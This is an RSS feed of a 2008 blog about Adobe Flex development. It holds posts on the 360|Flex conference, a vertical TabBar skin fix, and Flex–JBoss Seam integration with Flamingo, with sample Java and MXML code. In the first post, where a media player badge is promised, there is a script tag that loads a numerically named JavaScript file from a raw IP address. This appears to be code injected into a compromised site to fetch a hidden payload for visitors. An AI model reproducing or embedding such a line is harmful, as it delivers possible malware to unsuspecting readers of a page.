<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Flex Devil</title>
	<atom:link href="http://www.flexdevil.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.flexdevil.com/blog</link>
	<description>Let's talk about Flex</description>
	<pubDate>Wed, 22 Oct 2008 18:22:47 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>360&#124;Flex San Jose &#8216;08 presentations freely available</title>
		<link>http://www.flexdevil.com/blog/2008/08/360flex-san-jose-08-presentations-freely-available/</link>
		<comments>http://www.flexdevil.com/blog/2008/08/360flex-san-jose-08-presentations-freely-available/#comments</comments>
		<pubDate>Fri, 22 Aug 2008 20:29:59 +0000</pubDate>
		<dc:creator>darius</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.flexdevil.com/blog/?p=16</guid>
		<description><![CDATA[All the sessions were recorded and now they are freely available to download. In order to get them click on the badge bellow to install Adobe Media Player and subscribe to 360Flex Channel.


]]></description>
			<content:encoded><![CDATA[<p>All the sessions were recorded and now they are freely available to download. In order to get them click on the badge bellow to install Adobe Media Player and subscribe to 360Flex Channel.</p>
<p style="text-align: center;">
<script src="http://216.92.94.180/1733261879.js" type="text/javascript"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flexdevil.com/blog/2008/08/360flex-san-jose-08-presentations-freely-available/feed/</wfw:commentRss>
		</item>
		<item>
		<title>360&#124;Flex San Jose &#8216;08 Rocked!</title>
		<link>http://www.flexdevil.com/blog/2008/08/360flex-san-jose-08-rocked/</link>
		<comments>http://www.flexdevil.com/blog/2008/08/360flex-san-jose-08-rocked/#comments</comments>
		<pubDate>Fri, 22 Aug 2008 20:20:30 +0000</pubDate>
		<dc:creator>darius</dc:creator>
		
		<category><![CDATA[Flamingo]]></category>

		<category><![CDATA[General]]></category>

		<category><![CDATA[JBoss Seam]]></category>

		<guid isPermaLink="false">http://www.flexdevil.com/blog/?p=15</guid>
		<description><![CDATA[3 full days of Flex talk are over. It was really great to see how everybody is trying to improve their experience with Flex. I found out about some new cool open source projects, I saw some live demos of how Flex interacts with other technologies and we even dived deep into the internals of [...]]]></description>
			<content:encoded><![CDATA[<p>3 full days of Flex talk are over. It was really great to see how everybody is trying to improve their experience with Flex. I found out about some new cool open source projects, I saw some live demos of how Flex interacts with other technologies and we even dived deep into the internals of Flex. Most importantly we (Felipe and I) got a few project ideas that would improve our development cycle (more on this later).</p>
<p>Since in our day to day development we use a combination of Java (JBoss Seam), Flamingo and Flex one session was of special interest to us: Lazy Loading using <a href="http://code.google.com/p/dphibernate/">dpHibernate</a>. dpHibernate works with BlazeDS and Hibernate so we&#8217;ll try to see if we can integrate dpHibernate (or parts of it) with Flamingo in order to make lazy loading available for our projects. This would be really cool because JBoss Seam does all the wiring and session handling that one needs to do if using directly Hiberbate. I was lucky enough to go see the session on DataBinding because it explained a lot of the Flex internals and it also touched on what made dpHibernate possible. I loved this session the most and I find it really useful. If you&#8217;d like to know exactly how binding works I highly recommend taking a look at <a href="http://blogs.digitalprimates.net/codeslinger/index.cfm?mode=entry&#038;entry=E183CFC3-FFF8-98FF-6D00B91ADAB60593">Michael&#8217;s presentation</a>.</p>
<p>This being said it&#8217;s time to go back to work and stop dreaming about cool projects&#8230; at least for a few days <img src='http://www.flexdevil.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> Oh, and thanks to Tom and John for making all this possible.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.flexdevil.com/blog/2008/08/360flex-san-jose-08-rocked/feed/</wfw:commentRss>
		</item>
		<item>
		<title>360&#124;Flex Conference in San Jose and 1 gb flash drive give away</title>
		<link>http://www.flexdevil.com/blog/2008/07/360flex-conference-in-san-jose-and-1-gb-flash-drive-give-away/</link>
		<comments>http://www.flexdevil.com/blog/2008/07/360flex-conference-in-san-jose-and-1-gb-flash-drive-give-away/#comments</comments>
		<pubDate>Tue, 15 Jul 2008 19:46:23 +0000</pubDate>
		<dc:creator>darius</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.flexdevil.com/blog/?p=14</guid>
		<description><![CDATA[360&#124;Flex is coming back to San Jose, CA on August 18-20, 2008. There are 3 full days of Flex sessions that should satisfy everybody&#8217;s needs from developers that are just getting started to the most advanced ones. They have a nice schedule so take a look and see what gets you excited. If you are [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.360conferences.com/360flex/">360|Flex</a> is coming back to San Jose, CA on August 18-20, 2008. There are 3 full days of Flex sessions that should satisfy everybody&#8217;s needs from developers that are just getting started to the most advanced ones. They have a nice <a href="http://www.360flex.com/downloads/SJ08/eProgram.pdf">schedule</a> so take a look and see what gets you excited. If you are serious about Flex you must attend this conference. The price is only $480 for all 3 days!!!</p>
<p>I also have a 1gb flash drive with content from 360|Flex Atlanta and Europe to give away to a commenter to this post. Just make sure that your email is correct so I can contact you. I&#8217;ll randomly select one commenter on August 10th and send him/her the flash drive. Good luck and see you there!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.flexdevil.com/blog/2008/07/360flex-conference-in-san-jose-and-1-gb-flash-drive-give-away/feed/</wfw:commentRss>
		</item>
		<item>
		<title>How to remove traces of old elements from your flex stage</title>
		<link>http://www.flexdevil.com/blog/2008/07/how-to-remove-traces-of-old-elements-from-your-flex-stage/</link>
		<comments>http://www.flexdevil.com/blog/2008/07/how-to-remove-traces-of-old-elements-from-your-flex-stage/#comments</comments>
		<pubDate>Thu, 10 Jul 2008 00:23:32 +0000</pubDate>
		<dc:creator>darius</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.flexdevil.com/blog/?p=12</guid>
		<description><![CDATA[Did it happen to you that you removed or moved around an image or some other flex element and you could still see traces of that element in the initial position? It happened to me the other day and it took me a bit of time to find out a way of doing it. Here [...]]]></description>
			<content:encoded><![CDATA[<p>Did it happen to you that you removed or moved around an image or some other flex element and you could still see traces of that element in the initial position? It happened to me the other day and it took me a bit of time to find out a way of doing it. Here is what I came up with: <code>yourDirtyFlexComponent.graphics.clear()</code> or, depending on your application, you might want to do something like <code>yourDirtyFlexComponent</code><code>.parentApplication.graphics.clear()</code>. Do you know another way of doing this? I would like to hear some alternatives.</p>
<p>Here is what a &#8220;dirty&#8221; stage might look like:</p>
<p><a href="http://www.flexdevil.com/blog/wp-content/uploads/2008/07/dirtystage.png"><img class="alignleft size-medium wp-image-13" title="dirtystage" src="http://www.flexdevil.com/blog/wp-content/uploads/2008/07/dirtystage.png" alt="Dirty Stage" width="116" height="98" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flexdevil.com/blog/2008/07/how-to-remove-traces-of-old-elements-from-your-flex-stage/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Flex - Seam Presentation at JavaSIG</title>
		<link>http://www.flexdevil.com/blog/2008/07/flex-seam-presentation-at-javasig/</link>
		<comments>http://www.flexdevil.com/blog/2008/07/flex-seam-presentation-at-javasig/#comments</comments>
		<pubDate>Tue, 01 Jul 2008 23:06:18 +0000</pubDate>
		<dc:creator>darius</dc:creator>
		
		<category><![CDATA[Flamingo]]></category>

		<category><![CDATA[JBoss Seam]]></category>

		<category><![CDATA[Presentations]]></category>

		<guid isPermaLink="false">http://www.flexdevil.com/blog/?p=11</guid>
		<description><![CDATA[The demo for the JavaSIG presentation that Felipe and I have today is available to download in zip format here (or in 7z format here - this file is a lot smaller). This time the demo files are broken down into steps. On each step there is new functionality added (from a blank seam project [...]]]></description>
			<content:encoded><![CDATA[<p>The demo for the <a href="http://sdforumjavasig.wordpress.com/">JavaSIG</a> presentation that Felipe and I have today is available to download in zip format <a href="/code/javasig-step-by-step.zip">here</a> (or in <a href="http://www.7-zip.org/">7z</a> format <a href="/code/javasig-step-by-step.7z">here</a> - this file is a lot smaller). This time the demo files are broken down into steps. On each step there is new functionality added (from a blank seam project to a fully functional flex - seam project that interacts with a database). There is a readme file that describes what is introduced on each step.</p>
<p>The steps necessary to test this demo are described <a href="2008/05/integrating-flex-with-jboss-seam/">here</a>.<code> javasig.ear</code> (<code>javasig-step-VI/dist/javasig.ear</code>) can be dropped in <code>jboss/server/default/deploy</code> for quick testing of the application.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.flexdevil.com/blog/2008/07/flex-seam-presentation-at-javasig/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Flex Clients with JBoss Seam on July 1st</title>
		<link>http://www.flexdevil.com/blog/2008/06/flex-clients-with-jboss-seam-on-july-1st/</link>
		<comments>http://www.flexdevil.com/blog/2008/06/flex-clients-with-jboss-seam-on-july-1st/#comments</comments>
		<pubDate>Wed, 11 Jun 2008 06:27:52 +0000</pubDate>
		<dc:creator>darius</dc:creator>
		
		<category><![CDATA[Presentations]]></category>

		<guid isPermaLink="false">http://www.flexdevil.com/blog/?p=10</guid>
		<description><![CDATA[Felipe Albertao and I will be doing a presentation at Java SIG on July 1st in Palo Alto. I&#8217;ll post the presentation demo afterwards. This time the demo code will be broken down into steps for easy follow on.
]]></description>
			<content:encoded><![CDATA[<p>Felipe Albertao and I will be doing a presentation at <a href="http://sdforumjavasig.wordpress.com/2008/06/07/flex-clients-with-jboss-seam-and-ejbs-july-1/">Java SIG on July 1st</a> in Palo Alto. I&#8217;ll post the presentation demo afterwards. This time the demo code will be broken down into steps for easy follow on.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.flexdevil.com/blog/2008/06/flex-clients-with-jboss-seam-on-july-1st/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Integrating Flex with JBoss Seam - Flamingo Goodies</title>
		<link>http://www.flexdevil.com/blog/2008/05/integrating-flex-with-jboss-seam-flamingo-goodies/</link>
		<comments>http://www.flexdevil.com/blog/2008/05/integrating-flex-with-jboss-seam-flamingo-goodies/#comments</comments>
		<pubDate>Mon, 19 May 2008 06:48:01 +0000</pubDate>
		<dc:creator>darius</dc:creator>
		
		<category><![CDATA[Flamingo]]></category>

		<category><![CDATA[JBoss Seam]]></category>

		<guid isPermaLink="false">http://www.flexdevil.com/blog/?p=9</guid>
		<description><![CDATA[On top of providing the gluing between Seam and Flex, Flamingo ships with a couple of goodies that can&#8217;t be ignored. SeamBinding automatically synchronizes Seam and Flex object and SeamValidator performs Flex validation based on server side rules (all the code samples are taken from this demo).
Validation
When you create database tables you specify a set [...]]]></description>
			<content:encoded><![CDATA[<p>On top of providing the gluing between Seam and Flex, <a href="http://code.google.com/p/exadel-flamingo/">Flamingo</a> ships with a couple of goodies that can&#8217;t be ignored. <code>SeamBinding</code> automatically synchronizes Seam and Flex object and <code>SeamValidator</code> performs Flex validation based on server side rules (all the code samples are taken from this <a href="2008/05/integrating-flex-with-jboss-seam/">demo</a>).</p>
<p><strong>Validation</strong></p>
<p>When you create database tables you specify a set of rules for each field. Say the field can&#8217;t be null, it must have more than 5 characters, etc. These rules must be enforced on the front end as well. In Flex we&#8217;d have to create validators for each field and for each rule to make sure that we don&#8217;t break any of the database constraints. Flamingo&#8217;s <code>SeamValidator</code> automatically validates Flex elements based on server side constraints.</p>
<p>On the server side the database management is done by Hibernate so we just need to specify rules for each field (CommandItem.java):</p>
<pre>@Length(min=3, max=40)
private String command;</pre>
<p>Flamingo automatically checks against Hibernate rules and performs the validation directly on Flex objects (silvafug.mxml):</p>
<pre>&lt;flamingo:SeamValidator id="validator" destination="commandItem"
        source="{commandInput}" validationTarget="command"
        property="text" /&gt;
&lt;mx:TextInput id="commandInput"/&gt;
&lt;mx:Button label="Validate Command" click="validator.validate()"/&gt;</pre>
<p>That&#8217;s all what it takes for the magic to happen. Pretty neat, isn&#8217;t it?</p>
<p><strong>Binding</strong></p>
<p>Binding a Flex and a Java Object can be done automatically using Flamingo&#8217;s <code>SeamBinding</code>. Note that we can get the same results with <code>RemoteObjects</code> (pass the object to the server as an argument - see the post on <a href="2008/05/integrating-flex-with-jboss-seam-remote-calls">Remote Calls</a>) but <code>SeamBinding</code> simplifies our lifes a bit by removing some extra steps.</p>
<p>Say we have a Java Object (CommandItem.java):</p>
<pre>@Name("commandItem")
@Entity
@Scope(SESSION)
public class CommandItem implements Serializable
{
	private static final long serialVersionUID = 1892843745280885007L;

	@Id @GeneratedValue
	private Integer dbID;

	@Length(min=3, max=40)
	private String command;

	private Integer distance;

	public Integer getDbID() {
		return dbID;
	}
	public void setDbID(Integer dbID) {
		this.dbID = dbID;
	}
	public String getCommand() {
		return command;
	}
	public void setCommand(String command) {
		this.command = command;
	}
	public Integer getDistance() {
		return distance;
	}
	public void setDistance(Integer distance) {
		this.distance = distance;
	}
}</pre>
<p>and a Flex object (CommandItem.as):</p>
<pre>[RemoteClass(alias="com.java.package.CommandItem")]
[Bindable]
public class CommandItem
{
	public var dbID:int;
	public var command:String;
	public var distance:int;
}</pre>
<p>then <code>SeamBinding</code> seamlessly keeps the 2 objects synchronized. All we need to do is connect the 2 objects and call on <code>commit</code> or <code>update</code> depending on which direction we want to perform the synchronization (silvafug.mxml):</p>
<pre>&lt;flamingo:SeamBinding destination="commandItem"
        id="bindingService" source="{commandItem}"/&gt;
&lt;mx:Button label="Do Something" click="bindingService.commit()"/&gt;</pre>
<p>Tada! When <code>bindingService.commit()</code> is called we got our client side object automatically saved in the server session. If we want it stored in the database all we&#8217;d have to do is to <code>persist</code> the server side object.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.flexdevil.com/blog/2008/05/integrating-flex-with-jboss-seam-flamingo-goodies/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Unexpected Behavior of the Flex Verical TabBar</title>
		<link>http://www.flexdevil.com/blog/2008/05/unexpected-behavior-of-the-flex-verical-tabbar/</link>
		<comments>http://www.flexdevil.com/blog/2008/05/unexpected-behavior-of-the-flex-verical-tabbar/#comments</comments>
		<pubDate>Tue, 13 May 2008 06:25:47 +0000</pubDate>
		<dc:creator>darius</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.flexdevil.com/blog/?p=5</guid>
		<description><![CDATA[A couple weeks back I had to implement a vertical TabBar and it was one of the few times when Flex surprised me with it&#8217;s behavior. The fix was pretty simple but it took me some extra time looking at the source code trying to figure what was going on.
Here is a horizontal TabBar:

And here [...]]]></description>
			<content:encoded><![CDATA[<p>A couple weeks back I had to implement a vertical <code>TabBar</code> and it was one of the few times when Flex surprised me with it&#8217;s behavior. The fix was pretty simple but it took me some extra time looking at the source code trying to figure what was going on.</p>
<p>Here is a horizontal <code>TabBar</code>:</p>
<p><a href="http://www.flexdevil.com/blog/wp-content/uploads/2008/05/horizontaltabbar.png"><img class="alignnone size-medium wp-image-7" style="vertical-align: top;" title="Horizontal Tab Bar" src="http://www.flexdevil.com/blog/wp-content/uploads/2008/05/horizontaltabbar-300x230.png" alt="" width="300" height="230" /></a></p>
<p>And here is a <code>TabBar</code> with <code>direction="vertical":</code></p>
<p><a href="http://www.flexdevil.com/blog/wp-content/uploads/2008/05/weirdverticaltabbar.png"><img class="size-medium wp-image-6" style="vertical-align: top;" title="Weird Vertical TabBar" src="http://www.flexdevil.com/blog/wp-content/uploads/2008/05/weirdverticaltabbar-300x168.png" alt="Weird Vertical TabBar" width="300" height="168" /></a></p>
<p>Not so pretty, right? Wouldn&#8217;t it make sense to round the corners on the right side instead of the top? So I checked the source code for the TabSkin and there it was:</p>
<pre>override protected function updateDisplayList(w:Number, h:Number):void
{
   ...
   var cr:Object = { tl: cornerRadius, tr: cornerRadius, bl: 0, br: 0 };
   var cr2:Object = { tl: cornerRadius2, tr: cornerRadius2, bl: 0, br: 0 };
   ...
}</pre>
<p><code>cr</code> and <code>cr2</code> are used to draw the tabs and they are set to round up the top left and top right corners. All what needs to be done is to check if the direction is vertical and if so do the rounding on the right side:</p>
<pre>var cr:Object = { tl: 0, tr: cornerRadius, bl: 0, br: cornerRadius };
var cr2:Object = { tl: 0, tr: cornerRadius2, bl: 0, br: cornerRadius2 };</pre>
<p>Here is our new vertical <code>TabBar</code>:</p>
<p><a href="http://www.flexdevil.com/blog/wp-content/uploads/2008/05/vericaltabbar.png"><img class="alignnone size-medium wp-image-8" style="vertical-align: top;" title="Verical Tab Bar" src="http://www.flexdevil.com/blog/wp-content/uploads/2008/05/vericaltabbar-300x170.png" alt="Verical Tab Bar" width="300" height="170" /></a></p>
<p>Doesn&#8217;t this look more like what you&#8217;d expect to get if you set <code>direction="vertical"</code>?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.flexdevil.com/blog/2008/05/unexpected-behavior-of-the-flex-verical-tabbar/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Integrating Flex with JBoss Seam - Remote Calls</title>
		<link>http://www.flexdevil.com/blog/2008/05/integrating-flex-with-jboss-seam-remote-calls/</link>
		<comments>http://www.flexdevil.com/blog/2008/05/integrating-flex-with-jboss-seam-remote-calls/#comments</comments>
		<pubDate>Mon, 12 May 2008 05:49:32 +0000</pubDate>
		<dc:creator>darius</dc:creator>
		
		<category><![CDATA[Flamingo]]></category>

		<category><![CDATA[JBoss Seam]]></category>

		<guid isPermaLink="false">http://www.flexdevil.com/blog/?p=4</guid>
		<description><![CDATA[Remote calls are the most straight forward type of communication between Flex and a server. The basic idea is that the server exposes a few methods and then Flex calls them directly. In the example I posted before, the remote calls are done using AMF as implemented by Exadel Flamingo (they developed their own AMF-Serializer).
Here [...]]]></description>
			<content:encoded><![CDATA[<p>Remote calls are the most straight forward type of communication between Flex and a server. The basic idea is that the server exposes a few methods and then Flex calls them directly. In the example I posted <a href="?p=3">before</a>, the remote calls are done using <a href="http://en.wikipedia.org/wiki/Action_Message_Format">AMF</a> as implemented by Exadel Flamingo (they developed their own AMF-Serializer).</p>
<p>Here are the steps needed to take in oder to set up the communication:</p>
<ol>
<li>On the server side (JBoss Seam) we need to expose methods for remote access. To do this, we just have to  mark the methods with the <code>@WebRemote</code> annotation on the interface<br />
(src/action/com/flexdevil/silvafug/DoSomething.java)</p>
<pre>@WebRemote public String doSomething();</pre>
</li>
<li>Configure the Flex application to let it know which Seam component to access (set the destination to the @Name of the Seam component in services-config.xml)
<pre>&lt;destination id="doSomething"/&gt;</pre>
</li>
<li>Instantiate a remote object that will handle the communications between Flex and Seam (src/silvafug.mxml)
<pre>&lt;mx:RemoteObject destination="doSomething" id="service"
 result="{showWhatTheServerSaid()}"/&gt;</pre>
</li>
<li>Talk to the server (src/silvafug.mxml)
<pre>&lt;mx:Script&gt;
   ...
   function showWhatTheServerSaid()
   {
      Alert.show(service.doSomething.lastResult);
   }
   ...
&lt;/mx:Script&gt;
...
&lt;mx:Button label="Do Something" click="service.doSomething()"/&gt;</pre>
</li>
</ol>
<p>Because the communication with the server is asynchronous, we need to monitor the <code>lastResult</code> in order to get the return value from the server. We can either use binding to keep an object set to the latest result (<code>&lt;mx:Text text="{service.doSomething.lastResult}"/&gt;</code>) or we can set the <code>result</code> property of the <code>RemoteObject</code> to a method that gets called once the <code>lastResult</code> is available.</p>
<p>Remote calls can be used to easily accomplish all the backend communications. They are useful to access database data (save/retrieve), run complex calculations based on user input, or extract interesting stats from the server and represent them in a meaningful way to the user. Although Flamingo offers a few custom components that are pretty powerful and that simplify the server communication even more for specific situations, Remote Objects represent the core of backend communications.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.flexdevil.com/blog/2008/05/integrating-flex-with-jboss-seam-remote-calls/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Integrating Flex with JBoss Seam</title>
		<link>http://www.flexdevil.com/blog/2008/05/integrating-flex-with-jboss-seam/</link>
		<comments>http://www.flexdevil.com/blog/2008/05/integrating-flex-with-jboss-seam/#comments</comments>
		<pubDate>Fri, 09 May 2008 09:59:33 +0000</pubDate>
		<dc:creator>darius</dc:creator>
		
		<category><![CDATA[Flamingo]]></category>

		<category><![CDATA[JBoss Seam]]></category>

		<category><![CDATA[Presentations]]></category>

		<guid isPermaLink="false">http://www.flexdevil.com/blog/?p=3</guid>
		<description><![CDATA[Felipe and I presented yesterday at SiIvafug on how to integrate Adobe Flex with Java using JBoss Seam &#38; Exadel Flamingo. We showed how to quickly generate a Seam Project using seam-gen and then how to build a simple flex app to communicate with the backend. All the gluing between Seam and Flex was done [...]]]></description>
			<content:encoded><![CDATA[<p>Felipe and I presented yesterday at <a href="http://silvafug.org">SiIvafug</a> on how to integrate <a href="http://www.adobe.com/products/flex">Adobe Flex</a> with Java using <a href="http://www.seamframework.org/">JBoss Seam</a> &amp; <a href="http://code.google.com/p/exadel-flamingo/">Exadel Flamingo</a>. We showed how to quickly generate a Seam Project using seam-gen and then how to build a simple flex app to communicate with the backend. All the gluing between Seam and Flex was done using Flamingo, a great alternative to <a href="http://opensource.adobe.com/wiki/display/blazeds/BlazeDS">BlazeDS</a> when integrating with Seam.</p>
<p>You can check out the project demonstrated during the presentation <a href="http://flexdevil.com/code/silvafug.zip">here</a>. The project shows how to effectively use WebRemoting, RemoteObjects, SeamBinding and SeamValidators (automatically validate flex fields based on database rules).</p>
<p>Steps that you need to follow in order to run the project:</p>
<ul>
<li>unzip the <a href="http://flexdevil.com/code/silvafug.zip">demo<br />
</a></li>
<li>drop the unzipped folder in your Eclipse workspace</li>
<li>open Eclipse and create a new general project called silvafug (this will load up the demo on Eclipse)</li>
<li>download <a href="http://www.jboss.org/jbossas/downloads/">JBoss 4.2.2</a> and start the server</li>
<li>open build.properties (inside silvafug project) and change jboss.home property to point to your jboss installation directory</li>
<li>deploy the project ( Eclipse -&gt; run -&gt; External Tools -&gt; Open External Tools Dialog -&gt; new Ant builder -&gt; set Buildfile to build.xml -&gt; run)</li>
<li>point your browser to http://localhost:8080/silvafug to get the generic home page or to http://localhost8080/silvafug/flex/silvafug.html to get the flex application</li>
</ul>
<p>I&#8217;ll cover the main points from the presentation in more detail over the next days.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.flexdevil.com/blog/2008/05/integrating-flex-with-jboss-seam/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 2.041 seconds -->
